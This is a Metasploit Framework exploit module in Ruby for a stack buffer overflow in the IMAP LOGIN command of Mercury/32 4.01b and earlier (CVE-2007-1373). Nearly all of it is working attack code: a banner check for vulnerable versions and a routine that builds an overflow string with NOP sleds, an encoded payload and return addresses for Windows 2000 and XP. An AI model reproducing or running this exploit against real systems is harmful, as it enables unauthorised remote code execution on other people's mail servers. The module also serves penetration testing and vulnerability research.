Mercury/32 <= 4.01b LOGIN Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Mercury/32 <= 4.01b LOGIN Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Mercury/32 <= 4.01b IMAPD  
LOGIN verb. By sending a specially crafted login command, a buffer  
is corrupted, and code execution is possible. This vulnerability was  
discovered by (mu-b at digit-labs.org).  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2007-1373' ],  
[ 'OSVDB', '33883' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},   
'Payload' =>  
{  
'Space' => 800,  
'BadChars' => "\x00\x0a\x0d\x20",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'Windows 2000 SP0-SP4 English', { 'Ret' => 0x75022ac4 } ],  
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],  
],  
'DisclosureDate' => 'Mar 6 2007',  
'DefaultTarget' => 0))  
  
register_options( [ Opt::RPORT(143) ], self.class )  
end  
  
def check  
connect  
resp = sock.get_once  
disconnect  
  
if (resp =~ /Mercury\/32 v4\.01[a-b]/)  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
sock.get_once  
  
num = rand(255).to_i  
  
sploit = "A001 LOGIN " + (" " * 1008) + "{#{num}}\n"  
sock.put(sploit)  
sock.get_once  
  
sploit << rand_text_alpha_upper(255)  
sock.put(sploit)  
sock.get_once   
  
sploit << make_nops(5295 - payload.encoded.length)  
sploit << payload.encoded + Rex::Arch::X86.jmp_short(6)   
sploit << make_nops(2) + [target.ret].pack('V')   
sploit << [0xe8, -1200].pack('CV') + rand_text_alpha_upper(750)  
  
print_status("Trying target #{target.name}...")  
  
sock.put(sploit)  
sleep(1)  
  
handler  
disconnect  
end  
  
end  
`